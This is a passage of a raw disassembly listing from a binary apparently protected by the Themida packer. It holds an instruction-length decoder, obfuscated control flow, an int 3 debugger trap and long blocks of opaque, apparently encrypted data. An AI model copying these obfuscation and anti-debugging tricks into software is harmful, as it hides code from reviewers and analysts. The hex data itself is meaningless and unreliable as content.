jz loc_5D36E0
dec ecx
jz loc_5D36C3
dec ecx
jnz loc_5D3733
cmp [ebp+var_2], 0
jnz loc_5D372F
cmp [ebp+var_5], 0
jz loc_5D36A2
mov byte ptr [ebp+arg_0+3], 2
loc_5D36A2: ; CODE XREF: sub_5D3510+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 61A9C7Dh
mov [ebp+arg_61A99C7], 1
pop ebp
jmp loc_5D3733
; ---------------------------------------------------------------------------
loc_5D36C3: ; CODE XREF: sub_5D3510+16Dj
cmp [ebp+var_2], 0
jnz loc_5D370D
cmp [ebp+var_5], 0
jz loc_5D370D
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5D370D
; ---------------------------------------------------------------------------
loc_5D36E0: ; CODE XREF: sub_5D3510+166j
cmp [ebp+var_2], 0
jnz loc_5D3726
cmp [ebp+var_5], 0
jz loc_5D3715
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5D370D
mov byte ptr [ebp+arg_0+3], cl
loc_5D370D: ; CODE XREF: sub_5D3510+1B7j
; sub_5D3510+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5D3733
; ---------------------------------------------------------------------------
loc_5D3715: ; CODE XREF: sub_5D3510+1DEj
cmp dl, 5
jnz loc_5D3733
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5D3733
; ---------------------------------------------------------------------------
loc_5D3726: ; CODE XREF: sub_5D3510+1D4j
cmp dl, 6
jnz loc_5D3733
loc_5D372F: ; CODE XREF: sub_5D3510+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5D3733: ; CODE XREF: sub_5D3510+174j
; sub_5D3510+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5D3761
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5D3743: ; CODE XREF: sub_5D3510+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5D3743
mov esi, edx
loc_5D3761: ; CODE XREF: sub_5D3510+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5D3796
cmp edi, 7Fh
ja loc_5D3796
test bl, 38h
jnz loc_5D3796
cmp [ebp+var_7], 0
jz loc_5D3790
movzx eax, [ebp+var_4]
jmp loc_5D3793
; ---------------------------------------------------------------------------
loc_5D3790: ; CODE XREF: sub_5D3510+271j
push 1
pop eax
loc_5D3793: ; CODE XREF: sub_5D3510+27Bj
mov [ebp+var_1], al
loc_5D3796: ; CODE XREF: sub_5D3510+255j
; sub_5D3510+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5D379C: ; CODE XREF: sub_5D3510+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5D37C7
dec eax
dec eax
jz loc_5D37BD
and bl, 7
add [ebp+var_1], bl
jmp loc_5D37CF
; ---------------------------------------------------------------------------
loc_5D37BD: ; CODE XREF: sub_5D3510+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5D37CC
; ---------------------------------------------------------------------------
loc_5D37C7: ; CODE XREF: sub_5D3510+294j
mov al, [ebp+var_3]
add al, 4
loc_5D37CC: ; CODE XREF: sub_5D3510+2B2j
add [ebp+var_1], al
loc_5D37CF: ; CODE XREF: sub_5D3510+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5D37F7
movzx ecx, [ebp+var_1]
inc ecx
loc_5D37E2: ; CODE XREF: sub_5D3510+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5D37E2
loc_5D37F7: ; CODE XREF: sub_5D3510+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5D3510 endp
; ---------------------------------------------------------------------------
loc_5D37FE: ; CODE XREF: Themida_:loc_5D34A6j
lea eax, [ebp+61A9A7Ch]
mov [ebp+615256Dh], eax
lea ecx, [ebp+61A9E9Ch]
push 0
push ebp
call sub_5D381B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D381B proc near ; CODE XREF: Themida_:005D3813p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5D381B endp
; ---------------------------------------------------------------------------
db 0E1h
; ---------------------------------------------------------------------------
cmp edi, edx
add byte ptr [edx+27218D89h], 15h
push es
add esi, [ebp+6152CD5h]
mov dword ptr [ebp+61504CDh], 6B8Ch
mov dword ptr [ebp+6151115h], 0
push ecx
mov [ebp+6150889h], ebx
pop edi
push dword ptr [ebp+6151D45h]
push 0
push edx
call sub_5D3869
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3869 proc near ; CODE XREF: Themida_:005D3861p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5D3869 endp
; ---------------------------------------------------------------------------
db 0EAh, 0FBh, 25h
dd 8971A5F9h, 1502F18Dh, 0D5858906h, 0FF06152Fh, 1502C995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0AD7C09C9h, 2E454A89h, 0DF8B60DBh, 0CCE98166h
dd 8D316124h, 6152A45h, 95FF006Ah, 6152E21h, 0BEBC08Bh
dd 71CB0BFBh, 8A95C9A6h, 8D2960B0h, 1A9F768Dh, 0FE906h
dd 1E590000h, 8EC0B9Eh, 335417B3h, 88F76D6Dh, 218D8967h
dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0F9EBC351h, 9D1E36B3h, 0BF2A359Ch
dd 713B56D8h, 2DBDBD89h, 85C70615h, 61504CDh, 7260h, 0C700C880h
dd 15111585h, 6, 0D59D3100h, 0FF061514h, 1533A9B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 3EE9A20Fh, 0BF76F119h, 4B119BD5h, 2C995FFh, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 6C80A1C3h, 27E1958Bh, 6A0615h, 2E2195FFh, 0C08B0615h
dd 0BCED4FEBh, 5FA95B9h, 64444836h, 66B6BA34h, 222E5AE9h
dd 6022CD03h, 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch
dd 0CC9BF650h, 43C8384h, 23CE08C1h, 0DE8FABE5h, 0FF65C21h
dd 624F0E42h, 0F62FD681h, 0C8FEB068h, 5303682Fh, 0B3F489DFh
dd 0FE9C3h, 0F32F0000h, 7432h, 2 dup(0)
dd 0BBDE900h, 98680000h, 0E9061AA1h, 0FFFBA8F0h, 1AA25968h
dd 0A8E6E906h, 1068FFFBh, 0E9061AA4h, 0FFFBA8DCh, 1AA52B68h
dd 0A8D2E906h, 0F468FFFBh, 0E9061AA7h, 0FFFBA8C8h, 1AA96668h
dd 0A8BEE906h, 2468FFFBh, 0E9061AAAh, 0FFFBA8B4h, 0CDBFBEAFh
dd 5D2F4E42h, 0CFC1BCB2h, 53354844h, 0C9BBC2A8h, 0B0A27C6Ah
dd 1710FBCDh, 0B89B6666h, 4D38C3C5h, 0CBC86030h, 243EAEEBh
dd 6877EEA7h, 0C96D62DBh, 4B029BE2h, 0F31F9E3Ch, 125BFAF4h
dd 1039A724h, 9F86686Ah, 3DC8C7DEh, 0D77E2756h, 0DF3F5E58h
dd 0AC5DAD3Eh, 57E0C786h, 3EDF3A57h, 86AF5AADh, 0B0FFB906h
dd 0E8074343h, 237B353h, 0D6CE7F5Bh, 0FBF4A729h, 584EDB82h
dd 18967C25h, 0D363588Ch, 0EEA6E35Fh, 69526BECh, 64000000h
dd 0D7D76CC4h, 0AD3EDEBAh, 0D025BF06h, 0D58E04D3h, 0AD5ECDA4h
dd 0AA23E58Eh, 9C8DE59Dh, 53939CA2h, 981138B3h, 7A03EA9Bh
dd 2B1F2AE3h, 0CCA24B52h, 29931F72h, 0B52DC9A7h, 0F4E283Bh
dd 8DA72993h, 226F4FDCh, 72A72993h, 27806FC7h, 0CF6BECAFh
dd 0CDh, 0C2BBB362h, 3A7D0C9Bh, 543B1912h, 37A701Dh, 0D7BB35Ah
dd 0A4863724h, 0DF306DD9h, 0B89AAD3Eh, 2AF59CC5h, 311C37FFh
dd 0D2B8554Ch, 99913CABh, 76138EE4h, 0DA77EE8Fh, 8E9D8AF3h
dd 3EDEE1B0h, 0B086B3ADh, 0E398E6E0h, 0FBF2AD3Eh, 90770282h
dd 991774EDh, 35E1DD4Ah, 61B353EEh, 0CD6BD8B8h, 6295717Eh
dd 3EAD4172h, 79711C0Bh, 0A8CE5D04h, 4A9877BCh, 0F30036FFh
dd 0BB0D7062h, 0ADA3DAD0h, 0FA07CAFFh, 39D2742Dh, 1E000009h
dd 9580502Dh, 25F0E09Dh, 8772522Bh, 23EEDE9Fh, 0BD7C4C31h
dd 3E3F35CFh, 0AFCEC34Eh, 3E3F32DDh, 0B1CCC34Eh, 6C4A47DFh
dd 0A7243E2Dh, 8688F66Fh, 0CF7D9A4h, 3F6C5C21h, 7C802F8Ch
dd 0B37B3E06h, 1D6CC4D5h, 0E20A300Eh, 0BBCAB353h, 0A86BBFD8h
dd 0AE2D6374h, 2588C887h, 0B034D51Fh, 5306E089h, 95A729AEh
dd 7C0D8919h, 7C6BECCAh, 93h, 0DE9F864Eh, 35482AC7h, 968E3F2Ch
dd 0C56C1103h, 0E3A38F6Dh, 2621AD3Eh, 0A38A7557h, 0CC64C3DAh
dd 42906E7Dh, 52B353EEh, 0CD78A527h, 4A039AE3h, 0BA09A724h
dd 6F8D512Dh, 6009AD41h, 2D5042D3h, 0C3BAB05Bh, 749894Dh
dd 0E48603FAh, 878h, 3D8FEEDFh, 0AD1F5E52h, 3F91ECE2h
dd 0A3255854h, 398BF2D8h, 0F20C7Ah, 87800B7Dh, 8EB96F6h
dd 7D681375h, 1B189000h, 243C7E1Bh, 0D7271EA7h, 1A373724h
dd 7AAD3EDFh, 6ECA7CFh, 836A1577h, 863C8AFAh, 2AC7DE9Fh
dd 5BFAF443h, 39AD3EDEh, 23758C2Ah, 0E38AFEF3h, 338D3A8Ah
dd 0F36747E4h, 0FFB35348h, 7D24594Eh, 98C19ED4h, 0F4898411h
dd 7FFEE994h, 6DB8E370h, 0D8C35D69h, 0A41B07A2h, 133AAD6Fh
dd 6C290516h, 2817AD2Dh, 0A73B3901h, 0D7A6A02Dh, 84F9F49Fh
dd 83661704h, 0E4C663FAh, 10691099h, 55442B6Ah, 0D27B225Bh
dd 7618029Bh, 0F617AD2Dh, 0F1DCF480h, 56513C8Ch, 0ECA47E27h
dd 2617AD2Dh, 0D5D0E87Ch, 0EB988BA8h, 0CBCBEB46h, 99B8423Ch
dd 0C742CFF1h, 0CFF1AAE7h, 0E43FEA42h, 0BDE0F44Fh, 4E27CCACh
dd 0F2DDA828h, 0B1B8C5A7h, 0DB383108h, 25210E5Dh, 48E54195h
dd 0BB81841h, 0F5D15EADh, 46D86F59h, 0F1CDD485h, 42D02EA1h
dd 0B935AD49h, 79346F0h, 4D608h, 1682BA00h, 0E50251EFh
dd 1D6047F6h, 97A5CD84h, 0B353E8BBh, 9BBAB4A7h, 0F9A729D5h
dd 0C63D2A50h, 29D5A9E8h, 0F73EEBA7h, 15F0A390h, 0B076AAE6h
dd 52D175Fh, 0D83F93Fh, 0F48980B3h, 0A887C46Dh, 2AB8E96Eh
dd 0FEEDFA33h, 63E35100h, 601643D2h, 0F3B7F3D3h, 32E7D878h
dd 1A1D08B5h, 6EF37D1Ch, 43EA1FD0h, 647774EBh, 6EF3CB8Ah
dd 0DAA0C9D0h, 3F03FF9h, 842E8A03h, 6047F6D6h, 0C0CD841Dh
dd 5ACB5C8h, 0AA49F02Dh, 4749341Bh, 68ACD1BCh, 20DF29E8h
dd 0C1992DE4h, 96000006h, 3DC8C8B5h, 0DDA82855h, 4F3A8AF3h
dd 0DBA62657h, 0A50484F9h, 86F7DD37h, 0E7967B06h, 46371AE5h
dd 0A9D4BB46h, 84826F27h, 0A7243AD5h, 8680CEC7h, 0C8C7DE9Fh
dd 0EB7A083Bh, 48F17805h, 50703F0Bh, 8D69C492h, 9310898h
dd 0B719644Ah, 0F9C5h, 6EC4EB00h, 6914191Fh, 1433FB82h
dd 96E7DFE4h, 0EF8E820Fh, 452A6F62h, 0B1883138h, 0C034C2B8h
dd 9825068Ch, 7805ECADh, 78F148F1h, 67FB79C1h, 346560EDh
dd 741D4439h, 2309A4BDh, 0E38A435Ah, 0F70B9C8Bh, 61EB7201h
dd 0DD000000h, 34F69724h, 0B2ABD2BDh, 34084CFBh, 5ED4B57Dh
dd 0FD34492Bh, 653E10EEh, 2356AD3Eh, 5008D7Ah, 9C93C278h
dd 2924EFE1h, 42FE4D54h, 6CFAF4F3h, 14B35375h, 3A007D69h
dd 0AE253CEDh, 6F38B440h, 2A6BEC88h, 74203D39h, 4AA8A729h
dd 4679614Eh, 581E4B14h, 738h, 0DE7F8A00h, 31000000h, 0E1D6CC4h
dd 5403CA30h, 68790AB3h, 6522FD8Bh, 0F658BC75h, 0EAFC10F0h
dd 5A69B2Fh, 0BCB10000h, 4C44CFC1h, 0BAB45F31h, 4E36C1C3h
dd 0C0B25D2Fh, 7E6CCBBDh, 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h
dd 62621B12h, 94C1BDAAh, 0A72439h, 6EC43D95h, 3972191Fh
dd 0AF2BB7F5h, 7201FADAh, 681Eh, 8E841100h, 0AB4460EFh
dd 0FBB394DBh, 6EC45533h, 3772191Fh, 0AD29B9F3h, 7201FADCh
dd 481Ch, 977C0F00h, 0BD8F0490h, 3093C2BCh, 5801AD3Eh
dd 0C4775921h, 23101F6Eh, 3EDE7623h, 205D54ADh, 0E297D089h
dd 0FA8BA88Ch, 0B4A2413h, 89AD3EDFh, 0AEE199E0h, 188C2A82h
dd 3EE6E7B1h, 6424C5ADh, 927201EFh, 0FFFFFE8Eh, 1F6EC424h
dd 0CE5E7219h, 0CFD854E0h, 277201FAh, 263h, 0D9A48699h
dd 0FF30E3D0h, 0AFD39473h, 0F1DD78BEh, 0F7EE9F8Ch, 0CBD2ABA2h
dd 7C234B22h, 748C1896h, 28DFF7Eh, 0CD7E6D10h, 0C4154088h
dd 0A7CFB1h, 0CC8C8013h, 414E2F25h, 9DD52CFAh, 0D65F942Ch
dd 3EE84BCEh, 720B028Fh, 0FCEB42EBh, 491AB84Fh, 80B6093Bh
dd 50EF9373h, 7AAFB353h, 1C6146E3h, 81FCE885h, 0F084F2E8h
dd 6BF777BCh, 0AC1C6153h, 9592EBE1h, 0E980FDE8h, 96C3C330h
dd 6A72928h, 9A841B53h, 0A72929F7h, 0CD7E75h, 70C78D0Ah
dd 6AFA74BAh, 73AE63F0h, 4251AD83h, 9F552F42h, 0F33BF201h
dd 0B90B7258h, 8A1DCCEh, 31BE0DABh, 0A9D1ACA4h, 9804AE88h
dd 79A0AD3Eh, 0BF0EAA17h, 9D924330h, 6A10C9E0h, 5385DADCh
dd 564FFAB3h, 0B8C5AC59h, 85D58482h, 0FEF5A729h, 674BE67Fh
dd 0C3ED8F16h, 0FBF8FB2Fh, 854F0EE8h, 364DA729h, 0E810F59Fh
dd 0C1CCA585h, 0F07EB4C9h, 997B0A84h, 0C1780500h, 4849F1A8h
dd 0A192A1F0h, 2977F8A5h, 0BD75A4A7h, 7820522Ch, 0C574AD3Eh
dd 304D38C3h, 0CCB19C39h, 0A2F14FFCh, 80DDA985h, 50F9B353h
dd 1F8130E3h, 965B1B16h, 1DD4CDB0h, 97831E54h, 0A729CCF6h
dd 76F084F2h, 0ED9AE3C7h, 918EF83h, 3BAE8492h, 6BECB46Eh
dd 4D8Ah, 6CC43C00h, 211D0E1Dh, 0AD3EDE74h, 0B041F920h
dd 53E230D6h, 4B2B38B3h, 0A729DC0Eh, 0CA93DB8Eh, 0D05909Fh
dd 705CF970h, 94DD940Dh, 0D7C4C3DEh, 0C43E3F26h, 0A729DB95h
dd 221C5207h, 0A729DB6Fh, 0E965FD79h, 6BECF7A0h, 9B58h
dd 9F866A00h, 482AC7DEh, 7E275651h, 6A079ED7h, 4B321683h
dd 0F7EE7B22h, 4E2C0686h, 0BCAD3EE3h, 6FDCACD1h, 0D86582D1h
dd 0B8C5A7F2h, 383108B1h, 3E38B981h, 0B3568326h, 0AD58D782h
dd 9FDED2C7h, 9D972F0h, 1D54B919h, 4DEAE0ABh
dd 49B5C8C0h, 0A7278B0Ch, 0C498E188h, 0FC12AD90h, 0DDE97DF4h
dd 7A000002h, 19E4E499h, 917C4C31h, 1BE6E697h, 8F7A4A33h
dd 51F0E09Dh, 0B2CBC15Bh, 3B4227D2h, 0B2CBBE49h, 3D4027D2h
dd 0D8D6D34Bh, 0A72437B9h, 86146ADBh, 0CF7D9A4h, 0DE6C5C21h
dd 12FA9F86h, 0FD30B085h, 650CCFB9h, 4FDC953Ch, 4333625Ch
dd 0B861AD3Eh, 634AE782h, 241CAA1Ah, 0DF1A3737h, 0CF7AAD3Eh
dd 9801ECA7h, 21D8D1ACh, 51625158h, 3EDF2875h, 2037A0ADh
dd 86B00B6Ch, 87C66C9Dh, 5EEBDDA0h, 9A9493E2h, 0B3530AECh
dd 5E486108h, 0A7290A3Bh, 0D1ADBEADh, 0A7290984h, 9B3E2DCh
dd 38E1A729h, 7AF43AEFh, 22196EEAh, 3BDD6BECh, 0EF000000h
dd 4F396CC4h, 0EE8072Eh, 0B353E1F8h, 756685B4h, 29DBDC79h
dd 0E991B8A7h, 4C44D1BEh, 5AFB0931h, 8EA729DBh, 0F92EEE9Dh
dd 0B284D7C1h, 682F27Ch, 6BECD181h, 0C175h, 9F864700h
dd 0C36A13FAh, 601D0F9Ah, 0AF2840D3h, 0ADB4C9C1h, 0A66C4704h
dd 0B13C630Bh, 9B28C7B6h, 0F87F222h, 0B9B0868Dh, 7C4C311Ch
dd 3E06F442h, 6561ECADh, 3C336218h, 0C5C1B241h, 0AD3E0598h
dd 4F385504h, 0FD88082Eh, 0F5F26B12h, 561C6148h, 7F6CBB75h
dd 53086F7Fh, 6D62F3B3h, 4CFD6A10h, 92E12CDFh, 0AF1336EEh
dd 0FEBA0787h, 184640AFh, 84AD40D7h, 0C5A756D5h, 472DD8B8h
dd 0E144E236h, 0D148FA07h, 16B3Dh, 7607EC00h, 0F6876B16h
dd 7805EB96h, 0FC816D18h, 720B018Ch, 0CB259312h, 493494E9h
dd 0E0AB1D60h, 493494E9h, 0F5AD1F5Eh, 355FFEF8h, 483DA724h
dd 0D9A486FAh, 5C210CF7h, 6CC4DE6Ch, 0A300E1Dh, 0CAB353E2h
dd 791C069Fh, 6FA729DBh, 0B2F773FFh, 466BECF7h, 0A7h, 0DE9F8678h
dd 0DBDBC8C7h, 0AD3EDEBEh, 196447DEh, 997B1A60h, 0C0790400h
dd 0E381BDA9h, 0E4CBAD3Eh, 614C3799h, 8A26851Ch, 2721AC3Bh
dd 0EBA64F56h, 44ED7409h, 0F101FDEEh, 0A5B353DCh, 9A71474h
dd 0A6512DBAh, 0F2AD4180h, 0BBBBA847h, 0AD3C3D9Eh, 6234BFEh
dd 0E8E89577h, 0D246371Dh, 0FA07585Eh, 0AD2FD34Eh, 0AA000000h
dd 29D4B4C9h, 0C14C3C41h, 2BD6B6C7h, 0BF4A3A43h, 61E0B0CDh
dd 0E29B916Bh, 4B3217E2h, 0E29B8E79h, 4D3017E2h, 0C8A6A37Bh
dd 0A7243489h, 86249A0Bh, 0AAF7D9A4h, 1E47361Bh, 9994BF77h
dd 8656E4E4h, 0C251DE9Fh, 800C1A9Bh, 223DF5FCh, 0DF9A087h
dd 7AC7C970h, 0D3806FBEh, 649BFC06h, 0E6032B3Dh, 595E1408h
dd 0C0E990B3h, 41433A35h, 0B7AECFB6h, 4C7884CBh, 69F97319h
dd 0A5275651h, 0BA56CB78h, 8028DDBh, 9118654Dh, 0C0392E8h
dd 715DF871h, 4DDE950Ch, 0B1B8C5C0h, 0B0443208h, 0D0AD98h
dd 3A631A15h, 3A8h, 66B40A00h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h
dd 2F364740h, 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh
dd 0E881FCF4h, 0E1895104h, 4C181h, 0BF570000h, 4, 875FF929h
; ---------------------------------------------------------------------------
or al, 24h
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
push edx
mov edx, 1FB4603h
and edx, 55295974h
add edx, 4F16029h
mov eax, edx
mov edx, [esp]
add esp, 4
push 33FDh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push 12FBh
mov [esp], eax
pop dword ptr [ebp+8]
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58E30C
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
mov esi, 0B780124Fh
pop esp
int 3 ; Trap to Debugger
pop ss
pop es
adc ebp, ecx
mov eax, 61AAAF6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 457A22F7h, 56ECF749h, 1C720F7Bh, 74F5A66Ch, 373C738Eh
dd 356A2407h, 237040AEh, 1CB237B4h, 2F1C9247h, 168863CDh
dd 2B53EBEh, 31E9h, 33E07A00h, 0Ch, 0C51C5700h, 6148434Ah
dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h
dd 0F4C7009Dh, 6063921Dh, 0DE19h, 11E90000h, 6800000Bh
dd 61AAD16h, 0FAD239E9h, 0AE3468FFh, 2FE9061Ah, 68FFFAD2h
dd 61AAF62h, 0FAD225E9h, 0B00A68FFh, 1BE9061Ah, 68FFFAD2h
dd 61AB0F5h, 0FAD211E9h, 0B1E568FFh, 7E9061Ah, 68FFFAD2h
dd 61AB289h, 0FAD1FDE9h, 0B47D68FFh, 0F3E9061Ah, 68FFFAD1h
dd 61AB57Eh, 0FAD1E9E9h, 0C0308EFFh, 0B7BFE35h, 0C838B56Ah
dd 272F62Dh, 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h
dd 49D6BF2Fh, 289B7AEAh, 5E7A9F26h, 8001169Ch, 0DB0BABBCh
dd 9E1E4003h, 0B2DF16A1h, 57D6DD4Dh, 0BDF6C8E7h, 2327CE3Eh
dd 5E478A39h, 1526169Ch, 3F2B9B1Eh, 4E0971D2h, 0CD0DDD1Ch
dd 8AA7B798h, 65CFBB2Bh, 0EBF323D3h, 0BB4C1358h, 0B5899A10h
dd 97FF7Ch, 0F13B9F41h, 0A41471A2h, 0E3B29D72h, 1A225E77h
dd 9B7304C3h, 51C142EFh, 0F323D365h, 12C6EAEBh, 44B3ADE7h
dd 0E93590A6h, 8C1AA992h, 5273E2BBh, 4E68ABA0h, 957E6h
dd 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h, 5ACA28F7h
dd 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h
dd 5FC60BBAh, 0E4A5169Ch, 57C72458h, 81F1525Fh, 0C2F2C6F4h
dd 73D1E2FCh, 1D3A1303h, 86ED9C7Eh, 4E6D1D4Bh, 169BAF1Ah
dd 0AC335481h, 397498D2h, 640676FAh, 0D0336334h, 1693BB8Dh
dd 3910BF7Ah, 9DBD66B4h, 333Ch, 0C3417200h, 41726353h
dd 0DF4C6858h, 0A0947659h, 3DB0BABh, 9BF5F040h, 7ABC8D16h
dd 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0CD839Dh, 78B90000h
dd 3BDF8BFBh, 8757C724h, 0F2ABEE55h, 41521086h, 0F4766BA9h
dd 22A19284h, 0C6F84B2h, 8CBCF99Ch, 0C41086F6h, 111EF767h
dd 627C42B2h, 0C67FEF51h, 1086F683h, 83B1596Ah, 4D1141F5h
dd 9C01D276h, 2A999B16h, 1693E5E7h, 0FF7EB586h, 0E5D5A08Fh
dd 0D4DDE111h, 0DEAFE757h, 8E252D5h, 8BAC8F36h, 0FACB108Bh
dd 0FB6BCFE4h, 7F03301Ah, 5436070Fh, 1AE353D7h, 0B1BE31A5h
dd 39B83C3Ah, 58000008h, 98876EDEh, 57CCA919h, 0A08F66D6h
dd 4EE5B020h, 2997CECh, 24941689h, 0ED5DE251h, 29991B08h
dd 0E454D74Ch, 2D98C611h, 169C5CE4h, 4F360687h, 296DDD62h
dd 0F575B654h, 0C043F085h, 44F2A958h, 5E71C934h, 5ECE3380h
dd 0AB5BE1ACh, 0D903DB0Bh, 86F2276Ah, 15F5C610h, 0CC381D3Fh
dd 92AA61FEh, 3602A149h, 47169BEEh, 0ED9BBE85h, 51621693h
dd 5D56387Eh, 63296DDDh, 93EDB9E0h, 5C734416h, 0EDCE0FAEh
dd 0B71693h, 38F17CCDh, 0D6779DBDh, 93000000h, 5F57C724h
dd 964F052h, 8FA09D99h, 0F6FC2C87h, 77F41086h, 0EBEC6E07h
dd 117A9B0h, 41F29837h, 7A6452C2h, 4CB8E164h, 0C4DA1086h
dd 0DC02E57Dh, 74162799h, 744A7A3Eh, 88D1746Ah, 73108613h
dd 35DDC8A2h, 0B8169CE4h, 0D005D7E7h, 0CB106AEDh, 96BB6A7Dh
dd 0EC1693B1h, 0EA7FE42Eh, 3E0FB140h, 0AE7CA520h, 2EFF1693h
dd 0B589313Ch, 0B2A3B985h, 99B7B616h, 6B5A30E1h, 108B24AFh
dd 50617D4Eh, 0CB808AF2h, 9B040829h, 0F052E1B4h, 4B7EFD80h
dd 4F65B1BDh, 70BF3h, 0B8288600h, 73E346DDh, 0C0308DA2h
dd 0A7AFE35h, 0C636B46Bh, 8033782Fh, 2C039202h, 65BA5BCBh
dd 31FE9707h, 409362D2h, 5D62A71Eh, 8809169Ch, 3AC624B4h
dd 8B6A45B5h, 0CEA71794h, 57C7246Ah, 65587D5Fh, 288888B3h
dd 3FBC6D1Dh, 262267DEh, 0F8C91086h, 6D3E7EDFh, 0E8C7DAFCh
dd 1465A80Dh, 3E021086h, 5D95300Eh, 2016A178h, 81022F0Fh
dd 4CAF8411h, 0B050DADCh, 93A0BE80h, 70D3C030h, 873B6A00h
dd 46108067h, 0CF76D759h, 1CB6678Ah, 878FA071h, 0A8A9A1B6h
dd 432EAA54h, 0DD0C916Ch, 0D9DBB1BAh, 66359h, 60D02E00h
dd 0AB1B9E95h, 68D855CAh, 0A212968Dh, 6EDE5CD3h, 289B1087h
dd 64BB5ACAh, 2D029303h, 69B65FCFh, 0C8FB9A0Ah, 421A3F06h
dd 20E1169Ch, 57C7241Ch, 0B8347D5Fh, 0C5804E48h, 1086F29Ch
dd 89614E5Fh, 7BBB2B88h, 0A3930366h, 77BF2F8Eh, 0CE248BFEh
dd 86F2D2F7h, 0A7889910h, 0E3E4CBC2h, 9025F060h, 97A81A2Dh
dd 0ED348FCDh, 901086FEh, 76FCBBFh, 4B000000h, 19CB5h
dd 97B6D100h, 501086F2h, 0ED348FB0h, 901086F2h, 0F2D2F7CEh
dd 88991086h, 0FB688A7h, 16A19EE0h, 0A6B88697h, 7ABC2C8Dh
dd 0B59A0A69h, 0DAA353A2h, 97736572h, 95A9199Ah, 6BD1E9Ch
dd 169C6AC3h, 0D4B699AAh, 99096AB9h, 334D90C5h, 31BF94F0h
dd 0A94DDB59h, 3A776579h, 724B4BBBh, 77752D98h, 27F81081h
dd 0BB6DBF56h, 9A1A1CB1h
db 78h, 5
word_5D4B22 dw 0 ; DATA XREF: Themida_:0057C15Co
dd 482D9D19h, 0FE656DBh, 6035A520h, 18FD6DD3h, 5E37A70Bh
dd 0EB4F4249h, 22859A7Bh, 0F04CE3B2h, 0BD3EF580h, 2F1FA84Dh
dd 9C424D94h, 0CD6F3016h, 8757C724h, 0F2ABEE55h, 41521086h
dd 0F5766BA9h, 0BFF69185h, 0A834B710h, 375AE94Ah, 0B61086F2h
dd 0F3CCCAE5h, 0F23158EBh, 0EBBC1086h, 42D31C4h, 565535A5h
dd 97A819D3h, 759h, 0BAB52D00h, 0D1000000h, 6FDF624Fh
dd 5E58C824h, 6F0F8961h, 7AA41F3Fh, 0FB16A19Eh, 9A1F142Ah
dd 0B5FE402Ah, 2FC636h, 0A4B1383h, 36489E1h, 8DAAA393h
dd 1BCF9D34h, 87B787F1h, 34E70CB7h, 0B58610BBh, 0BB2B88A9h
dd 0C70AB9A3h, 0A61CB3A4h, 8996F595h, 8FA4BA2Ah, 62CCBE2Eh
dd 0E6F828D8h, 6CB3DFF8h, 0B80A0832h, 0B341C40Dh, 0B996A71Ch
dd 0B0AAF2D1h, 7A4B1AA9h, 0A03086A3h, 57DBD9ABh, 488h
dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh
dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh
dd 9C43DD04h, 5DDFA016h, 73E3624Fh, 4A04A43h, 114h, 0DB0BAB18h
